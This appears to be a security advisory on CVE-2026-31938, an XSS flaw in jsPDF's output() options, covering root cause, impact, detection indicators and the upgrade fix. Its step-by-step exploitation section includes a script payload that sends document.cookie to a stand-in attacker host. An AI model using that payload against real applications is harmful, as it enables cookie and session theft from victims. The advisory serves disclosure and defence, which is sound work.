CVE-2026-31938: 
JavaScript vulnerability analysis and mitigation

CVE-2026-31938 is an HTML injection (Cross-Site Scripting) vulnerability in the jsPDF JavaScript library that allows attackers to inject arbitrary HTML and scripts into the browser context where a generated PDF is opened. It affects all jsPDF versions up to and including 4.2.0 (npm package), with the fix released in version 4.2.1 on March 17, 2026. The vulnerability was published by researcher HackbrettXXX via GitHub's security advisory system (GHSA-wfv2-pwc8-crg5) on March 17, 2026. It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, Red Hat Bugzilla).

The root cause is improper neutralization of user-controlled input passed to the options argument of jsPDF's output() function (CWE-79). In vulnerable versions, three output method overloads construct HTML strings by directly concatenating unsanitized user input: pdfobjectnewwindow (the pdfObjectUrl option and the entire options object, JSON-serialized verbatim into the HTML string), pdfjsnewwindow (the pdfJsUrl and filename options), and dataurlnewwindow (the filename option). An attacker who can control these option values — for example, via a web form — can inject payloads such as x"></iframe><script>window.__n=1</script><iframe src=" into the filename parameter, which then executes in the victim's browser when they open the generated PDF in a new window (GitHub Advisory, Patch Commit). The fix replaced document.write() with safe DOM API methods and applied encodeURIComponent() to user-supplied values.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser context when the victim opens a PDF generated with malicious output options. This can lead to theft of session tokens, credentials, or other sensitive data accessible in that browser context, as well as unauthorized modification of page content. The scope is changed (C:L/I:L/A:N), meaning the injected script can affect resources beyond the vulnerable component itself, though availability is not impacted (GitHub Advisory, Feedly).

As of the time of disclosure, there is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation (Feedly). The EPSS score is 0.038% (0.000380), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires user interaction — the victim must open a PDF using one of the vulnerable output methods in their browser — and the attacker must be able to influence the output options passed by the application (GitHub Advisory).

1. Identify a vulnerable application: Find a web application that uses jsPDF ≤ 4.2.0 and allows user-controlled input (e.g., a filename or URL field) to be passed to the output() function's options argument.
2. Craft a malicious payload: Construct an XSS payload targeting the vulnerable parameter. For example, for the pdfjsnewwindow overload, use a filename such as x"></iframe><script>document.location='https://attacker.com/?c='+document.cookie</script><iframe src=".
3. Deliver the payload: Submit the malicious value through the web interface (e.g., a filename input field). The application passes this value unsanitized to doc.output('pdfjsnewwindow', { filename: payload, pdfJsUrl: 'viewer.html' }).
4. Victim opens the PDF: The victim triggers PDF generation and opens it in a new browser window using one of the vulnerable overloads (pdfjsnewwindow, pdfobjectnewwindow, or dataurlnewwindow).
5. Script executes: The injected script runs in the victim's browser context within the newly opened window, enabling the attacker to steal cookies, session tokens, or other sensitive data accessible in that context (GitHub Advisory).

• Network: Unexpected outbound HTTP requests from a user's browser to attacker-controlled domains shortly after opening a jsPDF-generated PDF in a new window; exfiltration of cookies or tokens via query parameters to external URLs.
• Logs: Web server access logs showing unusual query strings containing encoded script tags or HTML entities in filename or URL parameters submitted to PDF generation endpoints.
• Browser/Application: Newly opened browser windows containing unexpected <script> tags or injected iframes in the DOM when inspected via developer tools; JavaScript errors referencing unexpected variable assignments (e.g., window.__n) in the PDF viewer window context.
• File System: No direct file system artifacts expected, as this is a client-side browser-based attack.

Upgrade jsPDF to version 4.2.1 or later, which replaces unsafe document.write() calls with safe DOM API methods and applies encodeURIComponent() to user-supplied values in all three affected output overloads (jsPDF Release, Patch Commit). As a workaround for applications that cannot immediately upgrade, sanitize all user-controlled input before passing it to the output() function's options, particularly the filename, pdfObjectUrl, and pdfJsUrl parameters. Additionally, restrict or avoid use of the pdfobjectnewwindow, pdfjsnewwindow, and dataurlnewwindow output overloads when handling untrusted user input (Red Hat Bugzilla). IBM API Connect and Cloudera Data Platform users should apply the respective vendor patches addressing this dependency (IBM Advisory).

The vulnerability received coverage from several security news outlets and community platforms. The Hacker Wire published an article titled "jsPDF Critical HTML Injection" (The Hacker Wire), and SecurityOnline.info covered it under the headline "Invisible Ink: Critical 9.6 CVSS jsPDF Flaw XSS" (SecurityOnline). A Reddit thread in r/pwnhub discussed the issue, and Mastodon posts from security accounts noted the disclosure. Red Hat tracked the issue via Bugzilla and rated it high severity, while IBM issued multiple advisories for affected products including API Connect and Cloudera Data Platform (IBM Advisory).